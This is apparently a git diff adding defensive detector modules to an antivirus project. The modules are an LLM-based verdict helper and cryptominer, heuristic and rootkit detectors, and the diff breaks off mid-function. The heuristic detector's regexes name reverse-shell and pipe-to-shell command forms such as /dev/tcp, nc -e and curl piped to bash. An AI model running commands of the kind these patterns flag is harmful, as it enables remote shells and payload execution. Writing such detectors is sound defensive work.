"{{").replace("}", "}}") + + user_msg = ANALYSIS_PROMPT.format( + file_path=file_path, + threat_name=threat_name, + threat_type=threat_type, + severity=severity, + detector=detector, + original_confidence=confidence, + file_size=ctx.get("file_size", 0), + permissions=ctx.get("permissions", ""), + owner=ctx.get("owner", ""), + mtime=ctx.get("mtime", ""), + content_preview=preview, + ) + + text = "" + try: + response = client.messages.create( + model=self._model, + max_tokens=150, + system=SYSTEM_PROMPT.format(environment=self._environment), + messages=[{"role": "user", "content": user_msg}], + ) + text = response.content[0].text.strip() + + # Parse JSON from response (handle markdown code blocks) + if "```" in text: + parts = text.split("```") + for part in parts[1:]: + cleaned = part.strip() + if cleaned.startswith("json"): + cleaned = cleaned[4:].strip() + if cleaned.startswith("{"): + text = cleaned + break + + # Find the JSON object in the response + start = text.find("{") + end = text.rfind("}") + 1 + if start >= 0 and end > start: + text = text[start:end] + + data = json.loads(text) + return AIVerdict( + verdict=data.get("verdict", "suspicious"), + confidence=data.get("confidence", 50), + reason=data.get("reason", ""), + recommended_action=data.get("recommended_action", "quarantine"), + raw_response=text, + ) + except json.JSONDecodeError as exc: + logger.warning("AI returned non-JSON: %s — raw: %s", exc, text[:200]) + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason=f"AI parse error: {text[:100]}", + recommended_action="quarantine", + raw_response=text, + ) + except Exception as exc: + logger.error("AI analysis failed: %s", exc) + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason=f"AI error: {exc}", + recommended_action="quarantine", + ) + + def analyze_batch( + self, + detections: List[Dict[str, Any]], + ) -> List[Dict[str, Any]]: + """Analyze a batch of detections. Returns enriched detections with AI verdicts. + + Each detection dict should have: file_path, threat_name, threat_type, severity, detector + """ + results = [] + for d in detections: + verdict = self.analyze( + file_path=d.get("file_path", ""), + threat_name=d.get("threat_name", ""), + threat_type=d.get("threat_type", ""), + severity=d.get("severity", "MEDIUM"), + detector=d.get("detector", ""), + confidence=d.get("confidence", 50), + ) + enriched = dict(d) + enriched["ai_verdict"] = verdict.verdict + enriched["ai_confidence"] = verdict.confidence + enriched["ai_reason"] = verdict.reason + enriched["ai_action"] = verdict.recommended_action + results.append(enriched) + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/base.py b/ayn-antivirus/ayn_antivirus/detectors/base.py new file mode 100644 index 0000000..9a0a426 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/base.py @@ -0,0 +1,129 @@ +"""Abstract base class and shared data structures for AYN detectors.""" + +from __future__ import annotations + +import logging +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from pathlib import Path +from typing import List, Optional + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Detection result +# --------------------------------------------------------------------------- + +@dataclass +class DetectionResult: + """A single detection produced by a detector. + + Attributes + ---------- + threat_name: + Short identifier for the threat (e.g. ``"Trojan.Miner.XMRig"``). + threat_type: + Category string — ``VIRUS``, ``MALWARE``, ``SPYWARE``, ``MINER``, + ``ROOTKIT``, ``HEURISTIC``, etc. + severity: + One of ``CRITICAL``, ``HIGH``, ``MEDIUM``, ``LOW``. + confidence: + How confident the detector is in the finding (0–100). + details: + Human-readable explanation. + detector_name: + Which detector produced this result. + """ + + threat_name: str + threat_type: str + severity: str + confidence: int + details: str + detector_name: str + + +# --------------------------------------------------------------------------- +# Abstract base +# --------------------------------------------------------------------------- + +class BaseDetector(ABC): + """Interface that every AYN detector must implement. + + Detectors receive a file path (and optionally pre-read content / hash) + and return zero or more :class:`DetectionResult` instances. + """ + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @property + @abstractmethod + def name(self) -> str: + """Machine-friendly detector identifier.""" + ... + + @property + @abstractmethod + def description(self) -> str: + """One-line human-readable summary.""" + ... + + # ------------------------------------------------------------------ + # Detection + # ------------------------------------------------------------------ + + @abstractmethod + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Run detection logic against a single file. + + Parameters + ---------- + file_path: + Path to the file on disk. + file_content: + Optional pre-read bytes of the file (avoids double-read). + file_hash: + Optional pre-computed SHA-256 hex digest. + + Returns + ------- + list[DetectionResult] + Empty list when the file is clean. + """ + ... + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _read_content( + self, + file_path: Path, + file_content: Optional[bytes], + max_bytes: int = 10 * 1024 * 1024, + ) -> bytes: + """Return *file_content* if provided, otherwise read from disk. + + Reads at most *max_bytes* to avoid unbounded memory usage. + """ + if file_content is not None: + return file_content + with open(file_path, "rb") as fh: + return fh.read(max_bytes) + + def _log(self, msg: str, *args) -> None: + logger.info("[%s] " + msg, self.name, *args) + + def _warn(self, msg: str, *args) -> None: + logger.warning("[%s] " + msg, self.name, *args) + + def _error(self, msg: str, *args) -> None: + logger.error("[%s] " + msg, self.name, *args) diff --git a/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py b/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py new file mode 100644 index 0000000..be02971 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/cryptominer_detector.py @@ -0,0 +1,317 @@ +"""Crypto-miner detector for AYN Antivirus. + +Combines file-content analysis, process inspection, and network connection +checks to detect cryptocurrency mining activity on the host. +""" + +from __future__ import annotations + +import logging +import re +from pathlib import Path +from typing import List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + CRYPTO_POOL_DOMAINS, + HIGH_CPU_THRESHOLD, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# File-content patterns +# --------------------------------------------------------------------------- +_RE_STRATUM = re.compile(rb"stratum\+(?:tcp|ssl|tls)://[^\s\"']+", re.IGNORECASE) +_RE_POOL_DOMAIN = re.compile( + rb"(?:" + b"|".join(re.escape(d.encode()) for d in CRYPTO_POOL_DOMAINS) + rb")", + re.IGNORECASE, +) +_RE_ALGO_REF = re.compile( + rb"\b(?:cryptonight|randomx|ethash|kawpow|equihash|scrypt|sha256d|x11|x13|lyra2rev2|blake2s)\b", + re.IGNORECASE, +) +_RE_MINING_CONFIG = re.compile( + rb"""["'](?:algo|pool|wallet|worker|pass|coin|url|user)["']\s*:\s*["']""", + re.IGNORECASE, +) + +# Wallet address patterns (broad but useful). +_RE_BTC_ADDR = re.compile(rb"\b(?:1|3|bc1)[A-HJ-NP-Za-km-z1-9]{25,62}\b") +_RE_ETH_ADDR = re.compile(rb"\b0x[0-9a-fA-F]{40}\b") +_RE_XMR_ADDR = re.compile(rb"\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b") + + +class CryptominerDetector(BaseDetector): + """Detect cryptocurrency mining activity via files, processes, and network.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "cryptominer_detector" + + @property + def description(self) -> str: + return "Detects crypto-mining binaries, configs, processes, and network traffic" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Analyse a file for mining indicators. + + Also checks running processes and network connections for live mining + activity (these are host-wide and not specific to *file_path*, but + are included for a comprehensive picture). + """ + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- File-content checks --- + results.extend(self._check_stratum_urls(file_path, content)) + results.extend(self._check_pool_domains(file_path, content)) + results.extend(self._check_algo_references(file_path, content)) + results.extend(self._check_mining_config(file_path, content)) + results.extend(self._check_wallet_addresses(file_path, content)) + + return results + + # ------------------------------------------------------------------ + # File-content checks + # ------------------------------------------------------------------ + + def _check_stratum_urls( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_STRATUM.findall(content) + if matches: + urls = [m.decode(errors="replace") for m in matches[:5]] + results.append(DetectionResult( + threat_name="Miner.Stratum.URL", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=f"Stratum mining URL(s) found: {', '.join(urls)}", + detector_name=self.name, + )) + return results + + def _check_pool_domains( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_POOL_DOMAIN.findall(content) + if matches: + domains = sorted(set(m.decode(errors="replace") for m in matches)) + results.append(DetectionResult( + threat_name="Miner.PoolDomain", + threat_type="MINER", + severity="HIGH", + confidence=90, + details=f"Mining pool domain(s) referenced: {', '.join(domains[:5])}", + detector_name=self.name, + )) + return results + + def _check_algo_references( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_ALGO_REF.findall(content) + if matches: + algos = sorted(set(m.decode(errors="replace").lower() for m in matches)) + results.append(DetectionResult( + threat_name="Miner.AlgorithmReference", + threat_type="MINER", + severity="MEDIUM", + confidence=60, + details=f"Mining algorithm reference(s): {', '.join(algos)}", + detector_name=self.name, + )) + return results + + def _check_mining_config( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_MINING_CONFIG.findall(content) + if len(matches) >= 2: + results.append(DetectionResult( + threat_name="Miner.ConfigFile", + threat_type="MINER", + severity="HIGH", + confidence=85, + details=( + f"File resembles a mining configuration " + f"({len(matches)} config key(s) detected)" + ), + detector_name=self.name, + )) + return results + + def _check_wallet_addresses( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + wallets: List[str] = [] + + for label, regex in [ + ("BTC", _RE_BTC_ADDR), + ("ETH", _RE_ETH_ADDR), + ("XMR", _RE_XMR_ADDR), + ]: + matches = regex.findall(content) + for m in matches[:3]: + wallets.append(f"{label}:{m.decode(errors='replace')[:20]}…") + + if wallets: + results.append(DetectionResult( + threat_name="Miner.WalletAddress", + threat_type="MINER", + severity="HIGH", + confidence=70, + details=f"Cryptocurrency wallet address(es): {', '.join(wallets[:5])}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Process-based detection (host-wide, not file-specific) + # ------------------------------------------------------------------ + + @staticmethod + def find_miner_processes() -> List[DetectionResult]: + """Scan running processes for known miner names. + + This is a host-wide check and should be called independently from + the per-file ``detect()`` method. + """ + results: List[DetectionResult] = [] + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent"]): + try: + info = proc.info + pname = (info.get("name") or "").lower() + cmdline = " ".join(info.get("cmdline") or []).lower() + + for miner in CRYPTO_MINER_PROCESS_NAMES: + if miner in pname or miner in cmdline: + results.append(DetectionResult( + threat_name=f"Miner.Process.{miner}", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=( + f"Known miner process running: {info.get('name')} " + f"(PID {info['pid']}, CPU {info.get('cpu_percent', 0):.1f}%)" + ), + detector_name="cryptominer_detector", + )) + break + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + return results + + # ------------------------------------------------------------------ + # CPU analysis (host-wide) + # ------------------------------------------------------------------ + + @staticmethod + def find_high_cpu_processes( + threshold: float = HIGH_CPU_THRESHOLD, + ) -> List[DetectionResult]: + """Flag processes consuming CPU above *threshold* percent.""" + results: List[DetectionResult] = [] + for proc in psutil.process_iter(["pid", "name", "cpu_percent"]): + try: + info = proc.info + cpu = info.get("cpu_percent") or 0.0 + if cpu > threshold: + results.append(DetectionResult( + threat_name="Miner.HighCPU", + threat_type="MINER", + severity="HIGH", + confidence=55, + details=( + f"Process {info.get('name')} (PID {info['pid']}) " + f"using {cpu:.1f}% CPU" + ), + detector_name="cryptominer_detector", + )) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + return results + + # ------------------------------------------------------------------ + # Network detection (host-wide) + # ------------------------------------------------------------------ + + @staticmethod + def find_mining_connections() -> List[DetectionResult]: + """Check active network connections for mining pool traffic.""" + results: List[DetectionResult] = [] + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return results + + for conn in connections: + raddr = conn.raddr + if not raddr: + continue + + remote_ip = raddr.ip + remote_port = raddr.port + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + if remote_port in SUSPICIOUS_PORTS: + results.append(DetectionResult( + threat_name="Miner.Network.SuspiciousPort", + threat_type="MINER", + severity="HIGH", + confidence=75, + details=( + f"Connection to port {remote_port} " + f"({remote_ip}, process={proc_name}, PID={conn.pid})" + ), + detector_name="cryptominer_detector", + )) + + for domain in CRYPTO_POOL_DOMAINS: + if domain in remote_ip: + results.append(DetectionResult( + threat_name="Miner.Network.PoolConnection", + threat_type="MINER", + severity="CRITICAL", + confidence=95, + details=( + f"Active connection to mining pool {domain} " + f"({remote_ip}:{remote_port}, process={proc_name})" + ), + detector_name="cryptominer_detector", + )) + break + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py b/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py new file mode 100644 index 0000000..f8b44b2 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/heuristic_detector.py @@ -0,0 +1,436 @@ +"""Heuristic detector for AYN Antivirus. + +Uses statistical and pattern-based analysis to flag files that *look* +malicious even when no signature or YARA rule matches. Checks include +Shannon entropy (packed/encrypted binaries), suspicious string patterns, +obfuscation indicators, ELF anomalies, and permission/location red flags. +""" + +from __future__ import annotations + +import logging +import math +import re +import stat +from collections import Counter +from datetime import datetime, timedelta +from pathlib import Path +from typing import List, Optional + +from ayn_antivirus.constants import SUSPICIOUS_EXTENSIONS +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Thresholds +# --------------------------------------------------------------------------- +_HIGH_ENTROPY_THRESHOLD = 7.5 # bits per byte — likely packed / encrypted +_CHR_CHAIN_MIN = 6 # minimum chr()/\xNN sequence length +_B64_MIN_LENGTH = 40 # minimum base64 blob considered suspicious + +# --------------------------------------------------------------------------- +# Compiled regexes (built once at import time) +# --------------------------------------------------------------------------- +_RE_BASE64_BLOB = re.compile( + rb"(?:(?:[A-Za-z0-9+/]{4}){10,})(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?" +) +_RE_EVAL_EXEC = re.compile(rb"\b(?:eval|exec|compile)\s*\(", re.IGNORECASE) +_RE_SYSTEM_CALL = re.compile( + rb"\b(?:os\.system|subprocess\.(?:call|run|Popen)|commands\.getoutput)\s*\(", + re.IGNORECASE, +) +_RE_REVERSE_SHELL = re.compile( + rb"(?:/dev/tcp/|bash\s+-i\s+>&|nc\s+-[elp]|ncat\s+-|socat\s+|python[23]?\s+-c\s+['\"]import\s+socket)", + re.IGNORECASE, +) +_RE_WGET_CURL_PIPE = re.compile( + rb"(?:wget|curl)\s+[^\n]*\|\s*(?:sh|bash|python|perl)", re.IGNORECASE +) +_RE_ENCODED_PS = re.compile( + rb"-(?:enc(?:odedcommand)?|e|ec)\s+[A-Za-z0-9+/=]{20,}", re.IGNORECASE +) +_RE_CHR_CHAIN = re.compile( + rb"(?:chr\s*\(\s*\d+\s*\)\s*[\.\+]\s*){" + str(_CHR_CHAIN_MIN).encode() + rb",}", + re.IGNORECASE, +) +_RE_HEX_STRING = re.compile( + rb"(?:\\x[0-9a-fA-F]{2}){8,}" +) +_RE_STRING_CONCAT = re.compile( + rb"""(?:["'][^"']{1,4}["']\s*[\+\.]\s*){6,}""", +) + +# UPX magic at the beginning of packed sections. +_UPX_MAGIC = b"UPX!" + +# System directories where world-writable or SUID files are suspicious. +_SYSTEM_DIRS = {"/usr/bin", "/usr/sbin", "/bin", "/sbin", "/usr/local/bin", "/usr/local/sbin"} + +# Locations where hidden files are suspicious. +_SUSPICIOUS_HIDDEN_DIRS = {"/tmp", "/var/tmp", "/dev/shm", "/var/www", "/srv"} + + +class HeuristicDetector(BaseDetector): + """Flag files that exhibit suspicious characteristics without a known signature.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "heuristic_detector" + + @property + def description(self) -> str: + return "Statistical and pattern-based heuristic analysis" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- Entropy analysis --- + results.extend(self._check_entropy(file_path, content)) + + # --- Suspicious string patterns --- + results.extend(self._check_suspicious_strings(file_path, content)) + + # --- Obfuscation indicators --- + results.extend(self._check_obfuscation(file_path, content)) + + # --- ELF anomalies --- + results.extend(self._check_elf_anomalies(file_path, content)) + + # --- Permission / location anomalies --- + results.extend(self._check_permission_anomalies(file_path)) + + # --- Hidden files in suspicious locations --- + results.extend(self._check_hidden_files(file_path)) + + # --- Recently modified system files --- + results.extend(self._check_recent_system_modification(file_path)) + + return results + + # ------------------------------------------------------------------ + # Entropy + # ------------------------------------------------------------------ + + @staticmethod + def calculate_entropy(data: bytes) -> float: + """Calculate Shannon entropy (bits per byte) of *data*. + + Returns a value between 0.0 (uniform) and 8.0 (maximum randomness). + """ + if not data: + return 0.0 + + length = len(data) + freq = Counter(data) + entropy = 0.0 + for count in freq.values(): + p = count / length + if p > 0: + entropy -= p * math.log2(p) + return entropy + + def _check_entropy( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if len(content) < 256: + return results # too short for meaningful entropy + + entropy = self.calculate_entropy(content) + if entropy > _HIGH_ENTROPY_THRESHOLD: + results.append(DetectionResult( + threat_name="Heuristic.Packed.HighEntropy", + threat_type="MALWARE", + severity="MEDIUM", + confidence=65, + details=( + f"File entropy {entropy:.2f} bits/byte exceeds threshold " + f"({_HIGH_ENTROPY_THRESHOLD}) — likely packed or encrypted" + ), + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Suspicious strings + # ------------------------------------------------------------------ + + def _check_suspicious_strings( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # Base64-encoded payloads. + b64_blobs = _RE_BASE64_BLOB.findall(content) + long_blobs = [b for b in b64_blobs if len(b) >= _B64_MIN_LENGTH] + if long_blobs: + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.Base64Payload", + threat_type="MALWARE", + severity="MEDIUM", + confidence=55, + details=f"Found {len(long_blobs)} large base64-encoded blob(s)", + detector_name=self.name, + )) + + # eval / exec / compile calls. + if _RE_EVAL_EXEC.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Suspicious.DynamicExecution", + threat_type="MALWARE", + severity="MEDIUM", + confidence=50, + details="File uses eval()/exec()/compile() — possible code injection", + detector_name=self.name, + )) + + # os.system / subprocess calls. + if _RE_SYSTEM_CALL.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Suspicious.SystemCall", + threat_type="MALWARE", + severity="MEDIUM", + confidence=45, + details="File invokes system commands via os.system/subprocess", + detector_name=self.name, + )) + + # Reverse shell patterns. + match = _RE_REVERSE_SHELL.search(content) + if match: + results.append(DetectionResult( + threat_name="Heuristic.ReverseShell", + threat_type="MALWARE", + severity="CRITICAL", + confidence=85, + details=f"Reverse shell pattern detected: {match.group()[:80]!r}", + detector_name=self.name, + )) + + # wget/curl piped to sh/bash. + if _RE_WGET_CURL_PIPE.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Dropper.PipeToShell", + threat_type="MALWARE", + severity="HIGH", + confidence=80, + details="File downloads and pipes directly to a shell interpreter", + detector_name=self.name, + )) + + # Encoded PowerShell command. + if _RE_ENCODED_PS.search(content): + results.append(DetectionResult( + threat_name="Heuristic.PowerShell.EncodedCommand", + threat_type="MALWARE", + severity="HIGH", + confidence=75, + details="Encoded PowerShell command detected", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Obfuscation + # ------------------------------------------------------------------ + + def _check_obfuscation( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # chr() chains. + if _RE_CHR_CHAIN.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.ChrChain", + threat_type="MALWARE", + severity="MEDIUM", + confidence=60, + details="Obfuscation via long chr() concatenation chain", + detector_name=self.name, + )) + + # Hex-encoded byte strings. + hex_matches = _RE_HEX_STRING.findall(content) + if len(hex_matches) > 3: + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.HexStrings", + threat_type="MALWARE", + severity="MEDIUM", + confidence=55, + details=f"Multiple hex-encoded strings detected ({len(hex_matches)} occurrences)", + detector_name=self.name, + )) + + # Excessive string concatenation. + if _RE_STRING_CONCAT.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.StringConcat", + threat_type="MALWARE", + severity="LOW", + confidence=40, + details="Excessive short-string concatenation — possible obfuscation", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # ELF anomalies + # ------------------------------------------------------------------ + + def _check_elf_anomalies( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if not content[:4] == b"\x7fELF": + return results + + # UPX packed. + if _UPX_MAGIC in content[:4096]: + results.append(DetectionResult( + threat_name="Heuristic.Packed.UPX", + threat_type="MALWARE", + severity="MEDIUM", + confidence=60, + details="ELF binary is UPX-packed", + detector_name=self.name, + )) + + # Stripped binary in unusual location. + path_str = str(file_path) + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if not is_in_system: + # Non-system ELF — more suspicious if stripped (no .symtab). + if b".symtab" not in content and b".debug" not in content: + results.append(DetectionResult( + threat_name="Heuristic.ELF.StrippedNonSystem", + threat_type="MALWARE", + severity="LOW", + confidence=35, + details="Stripped ELF binary found outside standard system directories", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Permission anomalies + # ------------------------------------------------------------------ + + def _check_permission_anomalies( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + try: + st = file_path.stat() + except OSError: + return results + + mode = st.st_mode + path_str = str(file_path) + + # World-writable file in a system directory. + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if is_in_system and (mode & stat.S_IWOTH): + results.append(DetectionResult( + threat_name="Heuristic.Permissions.WorldWritableSystem", + threat_type="MALWARE", + severity="HIGH", + confidence=70, + details=f"World-writable file in system directory: {file_path}", + detector_name=self.name, + )) + + # SUID/SGID on unusual files. + is_suid = bool(mode & stat.S_ISUID) + is_sgid = bool(mode & stat.S_ISGID) + if (is_suid or is_sgid) and not is_in_system: + flag = "SUID" if is_suid else "SGID" + results.append(DetectionResult( + threat_name=f"Heuristic.Permissions.{flag}NonSystem", + threat_type="MALWARE", + severity="HIGH", + confidence=75, + details=f"{flag} bit set on file outside system directories: {file_path}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden files in suspicious locations + # ------------------------------------------------------------------ + + def _check_hidden_files( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if not file_path.name.startswith("."): + return results + + path_str = str(file_path) + for sus_dir in _SUSPICIOUS_HIDDEN_DIRS: + if path_str.startswith(sus_dir): + results.append(DetectionResult( + threat_name="Heuristic.HiddenFile.SuspiciousLocation", + threat_type="MALWARE", + severity="MEDIUM", + confidence=50, + details=f"Hidden file in suspicious directory: {file_path}", + detector_name=self.name, + )) + break + + return results + + # ------------------------------------------------------------------ + # Recently modified system files + # ------------------------------------------------------------------ + + def _check_recent_system_modification( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + path_str = str(file_path) + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if not is_in_system: + return results + + try: + mtime = datetime.utcfromtimestamp(file_path.stat().st_mtime) + except OSError: + return results + + if datetime.utcnow() - mtime < timedelta(hours=24): + results.append(DetectionResult( + threat_name="Heuristic.SystemFile.RecentlyModified", + threat_type="MALWARE", + severity="MEDIUM", + confidence=45, + details=( + f"System file modified within the last 24 hours: " + f"{file_path} (mtime: {mtime.isoformat()})" + ), + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py b/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py new file mode 100644 index 0000000..03ade3f --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py @@ -0,0 +1,387 @@ +"""Rootkit detector for AYN Antivirus. + +Performs system-wide checks for indicators of rootkit compromise: known +rootkit files, modified system binaries, hidden processes, hidden kernel +modules, LD_PRELOAD hijacking, hidden network ports, and tampered logs. + +Many checks require **root** privileges. On non-Linux systems, kernel- +module and /proc-based checks are gracefully skipped. +""" + +from __future__ import annotations + +import logging +import os +import subprocess +from pathlib import Path +from typing import List, Optional, Set + +import psutil + +from ayn_antivirus.constants import ( + KNOWN_ROOTKIT_FILES, + MALICIOUS_ENV_VARS, +) +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + + +class RootkitDetector(BaseDetector): + """System-wide rootkit detection. + + Unlike other detectors, the *file_path* argument is optional. When + called without a path (or with ``file_path=None``) the detector runs + every host-level check. When given a file it limits itself to checks + relevant to that file. + """ + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "rootkit_detector" + + @property + def description(self) -> str: + return "Detects rootkits via file, process, module, and environment analysis" + + def detect( + self, + file_path: str | Path | None = None, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Run rootkit checks. + + If *file_path* is ``None``, all system-wide checks are executed. + Otherwise only file-specific checks run. + """ + results: List[DetectionResult] = [] + + if file_path is not None: + fp = Path(file_path) + # File-specific: is this a known rootkit artefact? + results.extend(self._check_known_rootkit_file(fp)) + return results + + # --- Full system-wide scan --- + results.extend(self._check_known_rootkit_files()) + results.extend(self._check_ld_preload()) + results.extend(self._check_ld_so_preload()) + results.extend(self._check_hidden_processes()) + results.extend(self._check_hidden_kernel_modules()) + results.extend(self._check_hidden_network_ports()) + results.extend(self._check_malicious_env_vars()) + results.extend(self._check_tampered_logs()) + + return results + + # ------------------------------------------------------------------ + # Known rootkit files + # ------------------------------------------------------------------ + + def _check_known_rootkit_files(self) -> List[DetectionResult]: + """Check every path in :pydata:`KNOWN_ROOTKIT_FILES`.""" + results: List[DetectionResult] = [] + for path_str in KNOWN_ROOTKIT_FILES: + p = Path(path_str) + if p.exists(): + results.append(DetectionResult( + threat_name="Rootkit.KnownFile", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=90, + details=f"Known rootkit artefact present: {path_str}", + detector_name=self.name, + )) + return results + + def _check_known_rootkit_file(self, file_path: Path) -> List[DetectionResult]: + """Check whether *file_path* is a known rootkit file.""" + results: List[DetectionResult] = [] + path_str = str(file_path) + if path_str in KNOWN_ROOTKIT_FILES: + results.append(DetectionResult( + threat_name="Rootkit.KnownFile", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=90, + details=f"Known rootkit artefact: {path_str}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # LD_PRELOAD / ld.so.preload + # ------------------------------------------------------------------ + + def _check_ld_preload(self) -> List[DetectionResult]: + """Flag the ``LD_PRELOAD`` environment variable if set globally.""" + results: List[DetectionResult] = [] + val = os.environ.get("LD_PRELOAD", "") + if val: + results.append(DetectionResult( + threat_name="Rootkit.LDPreload.EnvVar", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"LD_PRELOAD is set: {val}", + detector_name=self.name, + )) + return results + + def _check_ld_so_preload(self) -> List[DetectionResult]: + """Check ``/etc/ld.so.preload`` for suspicious entries.""" + results: List[DetectionResult] = [] + ld_preload_file = Path("/etc/ld.so.preload") + if not ld_preload_file.exists(): + return results + + try: + content = ld_preload_file.read_text().strip() + except PermissionError: + self._warn("Cannot read /etc/ld.so.preload") + return results + + if content: + lines = [l.strip() for l in content.splitlines() if l.strip() and not l.startswith("#")] + if lines: + results.append(DetectionResult( + threat_name="Rootkit.LDPreload.File", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"/etc/ld.so.preload contains entries: {', '.join(lines[:5])}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Hidden processes + # ------------------------------------------------------------------ + + def _check_hidden_processes(self) -> List[DetectionResult]: + """Compare /proc PIDs with psutil to find hidden processes.""" + results: List[DetectionResult] = [] + proc_dir = Path("/proc") + if not proc_dir.is_dir(): + return results # non-Linux + + proc_pids: Set[int] = set() + try: + for entry in proc_dir.iterdir(): + if entry.name.isdigit(): + proc_pids.add(int(entry.name)) + except PermissionError: + return results + + psutil_pids = set(psutil.pids()) + hidden = proc_pids - psutil_pids + + for pid in hidden: + name = "" + try: + comm = proc_dir / str(pid) / "comm" + if comm.exists(): + name = comm.read_text().strip() + except OSError: + pass + + results.append(DetectionResult( + threat_name="Rootkit.HiddenProcess", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"PID {pid} ({name or 'unknown'}) visible in /proc but hidden from psutil", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden kernel modules + # ------------------------------------------------------------------ + + def _check_hidden_kernel_modules(self) -> List[DetectionResult]: + """Compare ``lsmod`` output with ``/proc/modules`` to find discrepancies.""" + results: List[DetectionResult] = [] + proc_modules_path = Path("/proc/modules") + if not 